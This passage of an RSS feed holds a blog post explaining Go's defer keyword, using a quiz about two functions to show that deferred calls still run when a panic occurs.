&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;defer&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;world&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;defer&lt;/code&gt; provides a convenient way of ensuring that some piece of code
unconditionally gets executed before the enclosing function returns control to
its caller.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="defer-in-a-nutshell"><code>defer</code>, in a nutshell <a href="#defer-in-a-nutshell">¶</a></h2>
<p>When learning Go, one quickly comes across the <code>defer</code> keyword.
For instance, the <a href="https://tour.golang.org/flowcontrol/12" target="_blank" rel="noopener">Tour of Go</a> introduces <code>defer</code> thus:</p>
<blockquote>
<p>A defer statement defers the execution of a function until the surrounding
function returns.</p>
<p>The deferred call&rsquo;s arguments are evaluated immediately, but the function
call is not executed until the surrounding function returns.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;world&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;hello&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div></blockquote>
<p><code>defer</code> provides a convenient way of ensuring that some piece of code
unconditionally gets executed before the enclosing function returns control to
its caller.</p>
<p>Often, you&rsquo;ll write a function that acquires some resources (file descriptor,
mutex, etc.).
Such a function must typically release those resources before returning,
regardless of the execution path—your function may contain numerous return
statements indeed.
Failing to do so will likely result in issues at run time, such as resource
leaks, deadlock, etc.</p>
<p>The Tour of Go is not meant as an exhaustive introduction to Golang;
it does a great job at demonstrating how <code>defer</code> works when the enclosing
function returns <em>normally</em>, but it leaves some important subtleties out.</p>
<h2 id="how-well-do-you-understand-defer">How well do you understand <code>defer</code>? <a href="#how-well-do-you-understand-defer">¶</a></h2>
<h3 id="quiz-time">Quiz time! <a href="#quiz-time">¶</a></h3>
<p>To test Gophers&rsquo; understanding of <code>defer</code>&rsquo;s semantics, I ran the following
on the blue site that shall not be named:</p>
<blockquote>
<p>Functions <code>foo</code> and <code>bar</code> have exactly the same behaviour/semantics:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">foo</span>(<span style="color:#a6e22e">f</span> <span style="color:#66d9ef">func</span>()) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;bye&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span>()
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">bar</span>(<span style="color:#a6e22e">f</span> <span style="color:#66d9ef">func</span>()) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;bye&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>True or false?</p>
</blockquote>
<p>Take a moment to think about it&hellip; What would your answer have been?</p>
<p>Although the poll&rsquo;s response rate is low (only 16 respondents) and the
respondents&rsquo; level of proficiency with Golang difficult to ascertain,
I do find the results revealing:
the majority of respondents (56%) answered &ldquo;true&rdquo;, yet the correct answer is
&ldquo;false&rdquo;.</p>
<h3 id="an-explanation">An explanation <a href="#an-explanation">¶</a></h3>
<p>Functions <code>foo</code> and <code>bar</code> do <em>not</em> have the same semantics.
In particular, if function <code>f</code> panics when invoked—either because it happens
to be <code>nil</code> or because a panic occurs during its execution—function <code>bar</code>
will simply panic (without printing anything), whereas function <code>foo</code> will
print &ldquo;bye&rdquo; to standard output before panicking.
You can try it for yourself on the <a href="https://play.golang.org/p/RSk7EGtFmRn" target="_blank" rel="noopener">Go Playground</a>.</p>
<p>In this case, if <code>fmt.println(&quot;bye&quot;)</code> is to be executed unconditionally,
using <code>defer</code> is <em>not</em> optional, because function <code>bar</code> has no guarantee that
its callers will pass a function argument that doesn&rsquo;t panic when invoked.
Thanks to the guarantees against panic that <code>defer</code> provides, function <code>foo</code>
obviates the problem altogether.</p>
<h2 id="to-defer-or-not-to-defer-that-is-the-question">To defer or not to defer: that is the question <a href="#to-defer-or-not-to-defer-that-is-the-question">¶</a></h2>
<p>This example should serve as a caution. <code>defer</code> is easily misconstrued
(guilty!) as a mere syntactic convenience. A failure to use it may result
in serious issues in your Go programs.</p>
<p>Granted, if you&rsquo;re writing performance-critical code (such as a
<a href="https://www.youtube.com/watch?v=hWNwI5q01gI&amp;time_continue=15m10s" target="_blank" rel="noopener">database</a>) and if you know what you&rsquo;re doing, you may be
driven to eschew deferred statements in some places of your code, but</p>
<blockquote>
<p>Always use <code>defer</code> (unless you have a good reason not to).</p>
</blockquote>
<p>is a good rule of thumb.
To paraphrase <a href="https://bsky.app/profile/goinggo.net" target="_blank" rel="noopener">Bill Kennedy</a>&rsquo;s exhortation that he repeats liberally in
his <a href="https://www.safaribooksonline.com/videos/ultimate-go-programming/9780134757476" target="_blank" rel="noopener">video course</a>:</p>
<blockquote>
<p>Correctness takes precedence over performance.</p>
</blockquote>
<p>Having a firm grasp of <code>defer</code>&rsquo;s semantics is likely to pay great dividends
towards the correctness of your Go programs.
Don&rsquo;t defer reading the fine print about <code>defer</code> :)</p>
<h2 id="additional-resources">Additional resources <a href="#additional-resources">¶</a></h2>
<ul>
<li><a href="https://golang.org/ref/spec#Defer_statements" target="_blank" rel="noopener"><em>Defer statements</em></a> (language specification)</li>
<li><a href="https://blog.golang.org/defer-panic-and-recover" target="_blank" rel="noopener"><em>Defer, panic, and recover</em></a> (Go Blog)</li>
</ul>
]]></content>
        </item>
        
    </channel>
</rss>
